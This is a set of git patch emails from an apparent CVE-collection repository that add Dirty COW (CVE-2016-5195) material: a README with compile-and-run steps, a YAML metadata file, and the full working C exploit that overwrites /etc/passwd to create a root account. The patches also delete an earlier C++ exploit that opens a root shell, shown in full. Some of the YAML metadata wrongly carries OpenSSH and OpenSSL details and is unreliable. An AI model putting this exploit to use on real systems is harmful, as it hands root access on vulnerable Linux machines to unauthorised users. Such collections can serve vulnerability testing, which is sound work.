12/23] rename cve/linux-kernel/2016/README.MD to cve/linux-kernel/2016/README.md. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: 刘安迪 --- cve/linux-kernel/2016/README.MD | 0 cve/linux-kernel/2016/README.md | 4 ++++ 2 files changed, 4 insertions(+) delete mode 100644 cve/linux-kernel/2016/README.MD create mode 100644 cve/linux-kernel/2016/README.md diff --git a/cve/linux-kernel/2016/README.MD b/cve/linux-kernel/2016/README.MD deleted file mode 100644 index e69de29b..00000000 diff --git a/cve/linux-kernel/2016/README.md b/cve/linux-kernel/2016/README.md new file mode 100644 index 00000000..98cf767c --- /dev/null +++ b/cve/linux-kernel/2016/README.md @@ -0,0 +1,4 @@ +Legacy Version: +=============== + +This is a alpha version without c++11 feature. It is a raw porting of the c++11 one and must be considered a draft. \ No newline at end of file -- Gitee From dadbb29daf9afee91e44fb521789bf16f8b670ef Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=88=98=E5=AE=89=E8=BF=AA?= Date: Wed, 15 Mar 2023 16:36:13 +0000 Subject: [PATCH 13/23] update cve/linux-kernel/2016/README.md. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: 刘安迪 --- cve/linux-kernel/2016/README.md | 78 ++++++++++++++++++++++++++++++++- 1 file changed, 76 insertions(+), 2 deletions(-) diff --git a/cve/linux-kernel/2016/README.md b/cve/linux-kernel/2016/README.md index 98cf767c..1d7d9ea8 100644 --- a/cve/linux-kernel/2016/README.md +++ b/cve/linux-kernel/2016/README.md @@ -1,4 +1,78 @@ -Legacy Version: +Description: +============ + +dcow is a possible exploit of the vulnerability CVE-2016-5195. +Running the program as unprivileged user on a vulnerable system, it'll modify the /etc/passwd file, forcing the password "dirtyCowFun" (SHA-512, but could be modified for older standards). +In case of successful execution, doing a "su" with that password, a root shell will be available. +Using the -s option (recomended), a root shell will be automatically opened. +A backup of the original /etc/passwd will be created in the current execution directory as .ssh_bak, if dcow is used with no options or with -n (see example below). + +DISCLAIMER: +=========== + +This code has been posted for information and educational purposes. The intrusion in systems and services without the owner's authorisation is illegal. The misuse of the information and the software in this repo can result in criminal charges brought against the perpetrator of the crime. Any actions and or activities related to the material contained within this Git Repository is solely your responsibility. The author will not be held responsible in the event any criminal charges be brought against any individuals misusing the information or the software in this website to break the law. + +Prerequisites: +============== + +A CVE-2016-5195 vulnerable system. + +The program was successfully used with: + +- RHEL7 Linux x86_64; +- RHEL4 (4.4.7-16, with "legacy" version) +- Debian 7 ("wheezy"); +- Ubuntu 14.04.1 LTS +- Ubuntu 14.04.5 LTS +- Ubuntu 16.04.1 LTS +- Ubuntu 16.10 +- Linux Mint 17.2 + +and compiled with: + +- clang version 4.0.0; +- gcc version 6.2.0 20161005 (Ubuntu 6.2.0-5ubuntu12) +- gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.1) +- gcc version 4.8.5 20150623 (Red Hat 4.8.5-4) (GCC); +- gcc version 4.8.4 (Ubuntu 4.8.4); +- gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) +- gcc version 4.7.2 (Debian 4.7.2-5); +- gcc version 4.4.7 (with "legacy" version) + +Exploit DB Reference: +===================== + +EDB-ID: 40847 + +https://www.exploit-db.com/exploits/40847/ + +Installation: +============= + +- Compile the program: + make + +- Start the program:
+ ./dcow
+ or
+ ./dcow -s # Automatically open a root shell and restore the passwd file.
+ ./dcow -s -n # Automatically open a root shell but doesn't restore the passwd file. + +- Online help: + + ./dcow -h + +WIKI: +===== + +In the "wiki" section of this page is present a partial list of the vulnerable kernels/distros. + +"Legacy" version: +================= + +In the directory "legacy" is present a raw porting of this program that permits the compilation using pre-c++11 compilers. + +Golang version: =============== -This is a alpha version without c++11 feature. It is a raw porting of the c++11 one and must be considered a draft. \ No newline at end of file +A version of this exploit written in Go + CGO language is present in the "golang" directory. It permits the creation of a static executable without external dependencies. \ No newline at end of file -- Gitee From fd6326274aeb8666b58df2034ac6d29860a90b83 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=88=98=E5=AE=89=E8=BF=AA?= Date: Wed, 15 Mar 2023 16:37:21 +0000 Subject: [PATCH 14/23] add cve/linux-kernel/2016. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: 刘安迪 --- cve/linux-kernel/2016/CVE-2016-5195.yaml | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 cve/linux-kernel/2016/CVE-2016-5195.yaml diff --git a/cve/linux-kernel/2016/CVE-2016-5195.yaml b/cve/linux-kernel/2016/CVE-2016-5195.yaml new file mode 100644 index 00000000..e69de29b -- Gitee From aefa17896fdd64353819586615a29fcc3ff53dc0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=88=98=E5=AE=89=E8=BF=AA?= Date: Wed, 15 Mar 2023 16:47:47 +0000 Subject: [PATCH 15/23] update cve/linux-kernel/2016/CVE-2016-5195.yaml. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: 刘安迪 --- cve/linux-kernel/2016/CVE-2016-5195.yaml | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/cve/linux-kernel/2016/CVE-2016-5195.yaml b/cve/linux-kernel/2016/CVE-2016-5195.yaml index e69de29b..7a38a102 100644 --- a/cve/linux-kernel/2016/CVE-2016-5195.yaml +++ b/cve/linux-kernel/2016/CVE-2016-5195.yaml @@ -0,0 +1,20 @@ +id: CVE-2016-5195 +source: +https://github.com/jfrog/jfrog-CVE-2023-25136-OpenSSH_Double-Free +info: +name: OpenSSL是Openssl团队的一个开源的能够实现安全套接层(SSLv2/v3)和安全传输层 +(TLSv1)协议的通用加密库。该产品支持多种加密算法,包括对称密码、哈希算法、安全散列算法等。 +severity: medium +description: | +Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect handling of a copy-on-write (COW) feature to write to a read-only memory mapping, as exploited in the wild in October 2016, aka "Dirty COW. +scope-of-influence: +OpenSSL 9.1 +reference: +- https://nvd.nist.gov/vuln/detail/cve-2023-25136 +- https://github.com/openssh/opensshportable/commit/486c4dc3b83b4b67d663fb0fa62bc24138ec3946 +classification: +cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H +cvss-score: 6.5 +cve-id: CVE-2023-25136 +cwe-id: CWE-415 +cnvd-id: None -- Gitee From 81f111df044cdb98b335fa688ee6df8997c062ac Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=88=98=E5=AE=89=E8=BF=AA?= Date: Wed, 15 Mar 2023 16:56:58 +0000 Subject: [PATCH 16/23] update cve/linux-kernel/2016/CVE-2016-5195.yaml. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: 刘安迪 --- cve/linux-kernel/2016/CVE-2016-5195.yaml | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/cve/linux-kernel/2016/CVE-2016-5195.yaml b/cve/linux-kernel/2016/CVE-2016-5195.yaml index 7a38a102..a99aa0e9 100644 --- a/cve/linux-kernel/2016/CVE-2016-5195.yaml +++ b/cve/linux-kernel/2016/CVE-2016-5195.yaml @@ -1,20 +1,20 @@ id: CVE-2016-5195 source: -https://github.com/jfrog/jfrog-CVE-2023-25136-OpenSSH_Double-Free +https://github.com/firefart/dirtycow info: -name: OpenSSL是Openssl团队的一个开源的能够实现安全套接层(SSLv2/v3)和安全传输层 -(TLSv1)协议的通用加密库。该产品支持多种加密算法,包括对称密码、哈希算法、安全散列算法等。 -severity: medium +name: +内核竞态条件漏洞 +severity: high description: | Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect handling of a copy-on-write (COW) feature to write to a read-only memory mapping, as exploited in the wild in October 2016, aka "Dirty COW. scope-of-influence: OpenSSL 9.1 reference: -- https://nvd.nist.gov/vuln/detail/cve-2023-25136 -- https://github.com/openssh/opensshportable/commit/486c4dc3b83b4b67d663fb0fa62bc24138ec3946 +http://fortiguard.com/advisory/FG-IR-16-063 +http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 classification: -cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H +cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 6.5 -cve-id: CVE-2023-25136 -cwe-id: CWE-415 +cve-id: CVE-2016-5195 +cwe-id: CWE-362 cnvd-id: None -- Gitee From cb166257eb94ac443f6375e3fc2fe55ee7216bfb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=88=98=E5=AE=89=E8=BF=AA?= Date: Wed, 15 Mar 2023 16:57:51 +0000 Subject: [PATCH 17/23] rename cve/linux-kernel/2016/CVE-2016-5195.cpp to cve/linux-kernel/2016/CVE-2016-5195.c. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: 刘安迪 --- cve/linux-kernel/2016/CVE-2016-5195.c | 193 ++++++++++++++++ cve/linux-kernel/2016/CVE-2016-5195.cpp | 292 ------------------------ 2 files changed, 193 insertions(+), 292 deletions(-) create mode 100644 cve/linux-kernel/2016/CVE-2016-5195.c delete mode 100644 cve/linux-kernel/2016/CVE-2016-5195.cpp diff --git a/cve/linux-kernel/2016/CVE-2016-5195.c b/cve/linux-kernel/2016/CVE-2016-5195.c new file mode 100644 index 00000000..6dd80f66 --- /dev/null +++ b/cve/linux-kernel/2016/CVE-2016-5195.c @@ -0,0 +1,193 @@ +// +// This exploit uses the pokemon exploit of the dirtycow vulnerability +// as a base and automatically generates a new passwd line. +// The user will be prompted for the new password when the binary is run. +// The original /etc/passwd file is then backed up to /tmp/passwd.bak +// and overwrites the root account with the generated line. +// After running the exploit you should be able to login with the newly +// created user. +// +// To use this exploit modify the user values according to your needs. +// The default is "firefart". +// +// Original exploit (dirtycow's ptrace_pokedata "pokemon" method): +// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c +// +// Compile with: +// gcc -pthread dirty.c -o dirty -lcrypt +// +// Then run the newly create binary by either doing: +// "./dirty" or "./dirty my-new-password" +// +// Afterwards, you can either "su firefart" or "ssh firefart@..." +// +// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT! +// mv /tmp/passwd.bak /etc/passwd +// +// Exploit adopted by Christian "FireFart" Mehlmauer +// https://firefart.at +// + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +const char *filename = "/etc/passwd"; +const char *backup_filename = "/tmp/passwd.bak"; +const char *salt = "firefart"; + +int f; +void *map; +pid_t pid; +pthread_t pth; +struct stat st; + +struct Userinfo { + char *username; + char *hash; + int user_id; + int group_id; + char *info; + char *home_dir; + char *shell; +}; + +char *generate_password_hash(char *plaintext_pw) { + return crypt(plaintext_pw, salt); +} + +char *generate_passwd_line(struct Userinfo u) { + const char *format = "%s:%s:%d:%d:%s:%s:%s\n"; + int size = snprintf(NULL, 0, format, u.username, u.hash, + u.user_id, u.group_id, u.info, u.home_dir, u.shell); + char *ret = malloc(size + 1); + sprintf(ret, format, u.username, u.hash, u.user_id, + u.group_id, u.info, u.home_dir, u.shell); + return ret; +} + +void *madviseThread(void *arg) { + int i, c = 0; + for(i = 0; i < 200000000; i++) { + c += madvise(map, 100, MADV_DONTNEED); + } + printf("madvise %d\n\n", c); +} + +int copy_file(const char *from, const char *to) { + // check if target file already exists + if(access(to, F_OK) != -1) { + printf("File %s already exists! Please delete it and run again\n", + to); + return -1; + } + + char ch; + FILE *source, *target; + + source = fopen(from, "r"); + if(source == NULL) { + return -1; + } + target = fopen(to, "w"); + if(target == NULL) { + fclose(source); + return -1; + } + + while((ch = fgetc(source)) != EOF) { + fputc(ch, target); + } + + printf("%s successfully backed up to %s\n", + from, to); + + fclose(source); + fclose(target); + + return 0; +} + +int main(int argc, char *argv[]) +{ + // backup file + int ret = copy_file(filename, backup_filename); + if (ret != 0) { + exit(ret); + } + + struct Userinfo user; + // set values, change as needed + user.username = "firefart"; + user.user_id = 0; + user.group_id = 0; + user.info = "pwned"; + user.home_dir = "/root"; + user.shell = "/bin/bash"; + + char *plaintext_pw; + + if (argc >= 2) { + plaintext_pw = argv[1]; + printf("Please enter the new password: %s\n", plaintext_pw); + } else { + plaintext_pw = getpass("Please enter the new password: "); + } + + user.hash = generate_password_hash(plaintext_pw); + char *complete_passwd_line = generate_passwd_line(user); + printf("Complete line:\n%s\n", complete_passwd_line); + + f = open(filename, O_RDONLY); + fstat(f, &st); + map = mmap(NULL, + st.st_size + sizeof(long), + PROT_READ, + MAP_PRIVATE, + f, + 0); + printf("mmap: %lx\n",(unsigned long)map); + pid = fork(); + if(pid) { + waitpid(pid, NULL, 0); + int u, i, o, c = 0; + int l=strlen(complete_passwd_line); + for(i = 0; i < 10000/l; i++) { + for(o = 0; o < l; o++) { + for(u = 0; u < 10000; u++) { + c += ptrace(PTRACE_POKETEXT, + pid, + map + o, + *((long*)(complete_passwd_line + o))); + } + } + } + printf("ptrace %d\n",c); + } + else { + pthread_create(&pth, + NULL, + madviseThread, + NULL); + ptrace(PTRACE_TRACEME); + kill(getpid(), SIGSTOP); + pthread_join(pth,NULL); + } + + printf("Done! Check %s to see if the new user was created.\n", filename); + printf("You can log in with the username '%s' and the password '%s'.\n\n", + user.username, plaintext_pw); + printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n", + backup_filename, filename); + return 0; +} \ No newline at end of file diff --git a/cve/linux-kernel/2016/CVE-2016-5195.cpp b/cve/linux-kernel/2016/CVE-2016-5195.cpp deleted file mode 100644 index c0c98e4f..00000000 --- a/cve/linux-kernel/2016/CVE-2016-5195.cpp +++ /dev/null @@ -1,292 +0,0 @@ -// ----------------------------------------------------------------- -// Copyright (C) 2017 Gabriele Bonacini -// -// This program is free software; you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation; either version 3 of the License, or -// (at your option) any later version. -// This program is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// You should have received a copy of the GNU General Public License -// along with this program; if not, write to the Free Software Foundation, -// Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -// ----------------------------------------------------------------- - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define BUFFSIZE 1024 -#define DEFSLTIME 300000 -#define PWDFILE "/etc/passwd" -#define BAKFILE "./.ssh_bak" -#define TMPBAKFILE "/tmp/.ssh_bak" -#define PSM "/proc/self/mem" -#define ROOTID "root:" -#define SSHDID "sshd:" -#define MAXITER 300 -#define DEFPWD "$6$P7xBAooQEZX/ham$9L7U0KJoihNgQakyfOQokDgQWLSTFZGB9LUU7T0W2kH1rtJXTzt9mG4qOoz9Njt.tIklLtLosiaeCBsZm8hND/" -#define TXTPWD "dirtyCowFun\n" -#define DISABLEWB "echo 0 > /proc/sys/vm/dirty_writeback_centisecs\n" -#define EXITCMD "exit\n" -#define CPCMD "\\cp " -#define RMCMD "\\rm " - -using namespace std; - -class Dcow{ - private: - bool rawMode, opShell, restPwd; - int fd, master, wstat; - string root, user, sshd; - pthread_t writerThr, madviseThr, checkerThr; - ofstream *extPwdBak; - struct passwd *userId; - pid_t child; - char buffv[BUFFSIZE]; - fd_set rfds; - struct termios termOld, termNew; - - int result(int ret, bool shell); - void exitOnError(string msg); - public: - int iter; - ssize_t ign; - bool run; - void *map; - ifstream *extPwd; - string etcPwd, etcPwdBak, buffer, pwd; - Dcow(bool opSh, bool rstPwd); - ~Dcow(void); - int expl(void); -}; - -Dcow::Dcow(bool opSh, bool rstPwd) : rawMode(false), opShell(opSh), restPwd(rstPwd), - wstat(0), root(ROOTID), sshd(SSHDID), extPwdBak(NULL), - child(0), iter(0), run(true), extPwd(NULL), - pwd(DEFPWD) { - userId = getpwuid(getuid()); - user.append(userId->pw_name).append(":"); - extPwd = new ifstream(PWDFILE); - while (getline(*extPwd, buffer)){ - buffer.append("\n"); - etcPwdBak.append(buffer); - if(buffer.find(root) == 0){ - etcPwd.insert(0, root).insert(root.size(), pwd); - etcPwd.insert(etcPwd.begin() + root.size() + pwd.size(), - buffer.begin() + buffer.find(":", root.size()), buffer.end()); - }else if(buffer.find(user) == 0 || buffer.find(sshd) == 0 ){ - etcPwd.insert(0, buffer); - }else{ - etcPwd.append(buffer); - } - } - extPwdBak = new ofstream(restPwd ? TMPBAKFILE : BAKFILE); - extPwdBak->write(etcPwdBak.c_str(), etcPwdBak.size()); - extPwdBak->close(); - fd = open(PWDFILE,O_RDONLY); - map = mmap(NULL, etcPwdBak.size(), PROT_READ,MAP_PRIVATE, fd, 0); -} - -Dcow::~Dcow(void){ - extPwd->close(); - close(fd); - delete extPwd; delete extPwdBak; - if(rawMode) tcsetattr(STDIN_FILENO, TCSANOW, &termOld); - if(child != 0) wait(&wstat); -} - -void Dcow::exitOnError(string msg){ - cerr << msg << endl; - throw new exception(); -} - -int Dcow::result(int ret, bool shell){ - string msg = shell ? "Exit.\n" : string("Root password is: ") + TXTPWD + "Enjoy! :-)\n"; - if(ret <= MAXITER){cerr << msg; return 0;} - else{cerr << "Exploit failed.\n"; return 1;} -} - -void* madviser(void *par){ - Dcow* obj = reinterpret_cast(par); - while(obj->run){ madvise(obj->map, obj->etcPwdBak.size(), MADV_DONTNEED);} - return NULL; -} - -void* writer(void *par){ - Dcow* obj = reinterpret_cast(par); - int fpsm = open(PSM,O_RDWR); - while(obj->run){ lseek(fpsm, reinterpret_cast(obj->map), SEEK_SET); - obj->ign = write(fpsm, obj->etcPwd.c_str(), obj->etcPwdBak.size()); - } - return NULL; -} - -void* checker(void *par){ - Dcow* obj = reinterpret_cast(par); - while(obj->iter <= MAXITER){ - obj->extPwd->clear(); - obj->extPwd->seekg(0, ios::beg); - obj->buffer.assign(istreambuf_iterator(*(obj->extPwd)), istreambuf_iterator()); - if(obj->buffer.find(obj->pwd) != string::npos && obj->buffer.size() >= obj->etcPwdBak.size()){ - obj->run = false; - break; - } - obj->iter ++; - usleep(DEFSLTIME); - } - obj->run = false; - return NULL; -} - -int Dcow::expl(void){ - - if(pthread_create(&madviseThr, NULL, madviser, reinterpret_cast(this)) != 0){ - cerr << "Can't create madviser thread" << endl; - throw new exception(); - } - if(pthread_create(&writerThr, NULL, writer, reinterpret_cast(this)) != 0){ - cerr << "Can't create writer thread" << endl; - throw new exception(); - } - if(pthread_create(&checkerThr, NULL, checker, reinterpret_cast(this)) != 0){ - cerr << "Can't create checker thread" << endl; - throw new exception(); - } - - cerr << "Running ..." << endl; - pthread_join(madviseThr, NULL); - pthread_join(writerThr, NULL); - pthread_join(checkerThr, NULL); - - if(iter <= MAXITER){ - child = forkpty(&master, NULL, NULL, NULL); - - if(child == -1) exitOnError("Error forking pty."); - - if(child == 0){ - execlp("su", "su", "-", NULL); - exitOnError("Error on exec."); - } - - if(opShell) cerr << "Password overridden to: " << TXTPWD << endl; - memset(buffv, 0, BUFFSIZE); - ssize_t bytes_read = read(master, buffv, BUFFSIZE - 1); - if(bytes_read <= 0) exitOnError("Error reading su prompt."); - cerr << "Received su prompt (" << buffv << ")" << endl; - - if(write(master, TXTPWD, strlen(TXTPWD)) <= 0) - exitOnError("Error writing pwd on tty."); - - if(write(master, DISABLEWB, strlen(DISABLEWB)) <= 0) - exitOnError("Error writing cmd on tty."); - - if(!opShell){ - if(write(master, EXITCMD, strlen(EXITCMD)) <= 0) - exitOnError("Error writing exit cmd on tty."); - }else{ - if(restPwd){ - string restoreCmd = string(CPCMD).append(TMPBAKFILE).append(" ").append(PWDFILE).append("\n"); - if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0) - exitOnError("Error writing restore cmd on tty."); - restoreCmd = string(RMCMD).append(TMPBAKFILE).append("\n"); - if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0) - exitOnError("Error writing restore cmd (rm) on tty."); - } - - if(tcgetattr(STDIN_FILENO, &termOld) == -1 ) - exitOnError("Error getting terminal attributes."); - - termNew = termOld; - termNew.c_lflag &= static_cast(~(ICANON | ECHO)); - - if(tcsetattr(STDIN_FILENO, TCSANOW, &termNew) == -1) - exitOnError("Error setting terminal in non-canonical mode."); - rawMode = true; - - while(true){ - FD_ZERO(&rfds); - FD_SET(master, &rfds); - FD_SET(STDIN_FILENO, &rfds); - - if(select(master + 1, &rfds, NULL, NULL, NULL) < 0 ) - exitOnError("Error on select tty."); - - if(FD_ISSET(master, &rfds)) { - memset(buffv, 0, BUFFSIZE); - bytes_read = read(master, buffv, BUFFSIZE - 1); - if(bytes_read <= 0) break; - if(write(STDOUT_FILENO, buffv, bytes_read) != bytes_read) - exitOnError("Error writing on stdout."); - } - - if(FD_ISSET(STDIN_FILENO, &rfds)) { - memset(buffv, 0, BUFFSIZE); - bytes_read = read(STDIN_FILENO, buffv, BUFFSIZE - 1); - if(bytes_read <= 0) exitOnError("Error reading from stdin."); - if(write(master, buffv, bytes_read) != bytes_read) break; - } - } - } - } - - return result(iter, opShell); -} - -void printInfo(char* cmd){ - cerr << cmd << " [-s] [-n] | [-h]\n" << endl; - cerr << " -s open directly a shell, if the exploit is successful;" << endl; - cerr << " -n combined with -s, doesn't restore the passwd file." << endl; - cerr << " -h print this synopsis;" << endl; - cerr << "\n If no param is specified, the program modifies the passwd file and exits." << endl; - cerr << " A copy of the passwd file will be create in the current directory as .ssh_bak" << endl; - cerr << " (unprivileged user), if no parameter or -n is specified.\n" << endl; - exit(1); -} - -int main(int argc, char** argv){ - const char flags[] = "shn"; - int c; - bool opShell = false, - restPwd = argc != 1 ? true : false; - - opterr = 0; - while ((c = getopt(argc, argv, flags)) != -1){ - switch (c){ - case 's': - opShell = true; - break; - case 'n': - restPwd = false; - break; - case 'h': - printInfo(argv[0]); - break; - default: - cerr << "Invalid parameter." << endl << endl; - printInfo(argv[0]); - } - } - - if(!restPwd && !opShell && argc != 1){ - cerr << "Invalid parameter: -n requires -s" << endl << endl; - printInfo(argv[0]); - } - - Dcow dcow(opShell, restPwd); - return dcow.expl(); -} \ No newline at end of file -- Gitee From c9c5d61f4f6f41fd3abeb13d68ffe739f1760d5f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=88=98=E5=AE=89=E8=BF=AA?= Date: Wed, 15 Mar 2023 16:58:44 +0000 Subject: [PATCH 18/23] update cve/linux-kernel/2016/README.md. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: 刘安迪 --- cve/linux-kernel/2016/README.md | 84 +++++++-------------------------- 1 file changed, 16 insertions(+), 68 deletions(-) diff --git a/cve/linux-kernel/2016/README.md b/cve/linux-kernel/2016/README.md index 1d7d9ea8..cfc3383c 100644 --- a/cve/linux-kernel/2016/README.md +++ b/cve/linux-kernel/2016/README.md @@ -1,78 +1,26 @@ -Description: -============ +dirtycow +This exploit uses the pokemon exploit of the dirtycow vulnerability as a base and automatically generates a new passwd line. The user will be prompted for the new password when the binary is run. The original /etc/passwd file is then backed up to /tmp/passwd.bak and overwrites the root account with the generated line. After running the exploit you should be able to login with the newly created user. -dcow is a possible exploit of the vulnerability CVE-2016-5195. -Running the program as unprivileged user on a vulnerable system, it'll modify the /etc/passwd file, forcing the password "dirtyCowFun" (SHA-512, but could be modified for older standards). -In case of successful execution, doing a "su" with that password, a root shell will be available. -Using the -s option (recomended), a root shell will be automatically opened. -A backup of the original /etc/passwd will be created in the current execution directory as .ssh_bak, if dcow is used with no options or with -n (see example below). +To use this exploit modify the user values according to your needs. -DISCLAIMER: -=========== +The default user being created is firefart. -This code has been posted for information and educational purposes. The intrusion in systems and services without the owner's authorisation is illegal. The misuse of the information and the software in this repo can result in criminal charges brought against the perpetrator of the crime. Any actions and or activities related to the material contained within this Git Repository is solely your responsibility. The author will not be held responsible in the event any criminal charges be brought against any individuals misusing the information or the software in this website to break the law. +Original exploit (dirtycow's ptrace_pokedata "pokemon" method): https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c -Prerequisites: -============== +Compile with: -A CVE-2016-5195 vulnerable system. +gcc -pthread dirty.c -o dirty -lcrypt +Then run the newly create binary by either doing: -The program was successfully used with: +./dirty +or -- RHEL7 Linux x86_64; -- RHEL4 (4.4.7-16, with "legacy" version) -- Debian 7 ("wheezy"); -- Ubuntu 14.04.1 LTS -- Ubuntu 14.04.5 LTS -- Ubuntu 16.04.1 LTS -- Ubuntu 16.10 -- Linux Mint 17.2 + ./dirty my-new-password +Afterwards, you can either su firefart or ssh firefart@... -and compiled with: +DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT! -- clang version 4.0.0; -- gcc version 6.2.0 20161005 (Ubuntu 6.2.0-5ubuntu12) -- gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.1) -- gcc version 4.8.5 20150623 (Red Hat 4.8.5-4) (GCC); -- gcc version 4.8.4 (Ubuntu 4.8.4); -- gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) -- gcc version 4.7.2 (Debian 4.7.2-5); -- gcc version 4.4.7 (with "legacy" version) +mv /tmp/passwd.bak /etc/passwd +Exploit adopted by Christian "FireFart" Mehlmauer -Exploit DB Reference: -===================== - -EDB-ID: 40847 - -https://www.exploit-db.com/exploits/40847/ - -Installation: -============= - -- Compile the program: - make - -- Start the program:
- ./dcow
- or
- ./dcow -s # Automatically open a root shell and restore the passwd file.
- ./dcow -s -n # Automatically open a root shell but doesn't restore the passwd file. - -- Online help: - - ./dcow -h - -WIKI: -===== - -In the "wiki" section of this page is present a partial list of the vulnerable kernels/distros. - -"Legacy" version: -================= - -In the directory "legacy" is present a raw porting of this program that permits the compilation using pre-c++11 compilers. - -Golang version: -=============== - -A version of this exploit written in Go + CGO language is present in the "golang" directory. It permits the creation of a static executable without external dependencies. \ No newline at end of file +https://firefart.at \ No newline at end of file -- Gitee From 2ffeed0549d7b7fc2c9293eec5181b681f2768d8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=88=98=E5=AE=89=E8=BF=AA?= Date: Wed, 15 Mar 2023 17:00:01 +0000 Subject: [PATCH 19/23] update openkylin_list.yaml. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: 刘安迪 --- openkylin_list.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/openkylin_list.yaml b/openkylin_list.yaml index d83e8b4f..7953c467 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -47,6 +47,7 @@ cve: - CVE-2022-2078 - CVE-2022-25265 - CVE-2022-41218 + - CVE-2016-5195 sudo: - CVE-2021-3156 - CVE-2023-22809 -- Gitee From d2804f8833509c7bd01e5b9a3e699fe3dbc38958 Mon Sep 17 00:00:00 2001 From: mxz <3010166936@qq.com> Date: Fri, 17 Mar 2023 10:42:20 +0800 Subject: [PATCH 20/23] fix format yaml --- cve/linux-kernel/2016/CVE-2016-5195.yaml | 20 - .../2016/{ => CVE-2016-5195}/CVE-2016-5195.c | 384 +++++++++--------- .../2016/{ => CVE-2016-5195}/README.md | 0 cve/linux-kernel/2016/yaml/CVE-2016-5195.yaml | 18 + 4 files changed, 210 insertions(+), 212 deletions(-) delete mode 100644 cve/linux-kernel/2016/CVE-2016-5195.yaml rename cve/linux-kernel/2016/{ => CVE-2016-5195}/CVE-2016-5195.c (96%) rename cve/linux-kernel/2016/{ => CVE-2016-5195}/README.md (100%) create mode 100644 cve/linux-kernel/2016/yaml/CVE-2016-5195.yaml diff --git a/cve/linux-kernel/2016/CVE-2016-5195.yaml b/cve/linux-kernel/2016/CVE-2016-5195.yaml deleted file mode 100644 index a99aa0e9..00000000 --- a/cve/linux-kernel/2016/CVE-2016-5195.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: CVE-2016-5195 -source: -https://github.com/firefart/dirtycow -info: -name: -内核竞态条件漏洞 -severity: high -description: | -Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect handling of a copy-on-write (COW) feature to write to a read-only memory mapping, as exploited in the wild in October 2016, aka "Dirty COW. -scope-of-influence: -OpenSSL 9.1 -reference: -http://fortiguard.com/advisory/FG-IR-16-063 -http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 -classification: -cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H -cvss-score: 6.5 -cve-id: CVE-2016-5195 -cwe-id: CWE-362 -cnvd-id: None diff --git a/cve/linux-kernel/2016/CVE-2016-5195.c b/cve/linux-kernel/2016/CVE-2016-5195/CVE-2016-5195.c similarity index 96% rename from cve/linux-kernel/2016/CVE-2016-5195.c rename to cve/linux-kernel/2016/CVE-2016-5195/CVE-2016-5195.c index 6dd80f66..cdb51673 100644 --- a/cve/linux-kernel/2016/CVE-2016-5195.c +++ b/cve/linux-kernel/2016/CVE-2016-5195/CVE-2016-5195.c @@ -1,193 +1,193 @@ -// -// This exploit uses the pokemon exploit of the dirtycow vulnerability -// as a base and automatically generates a new passwd line. -// The user 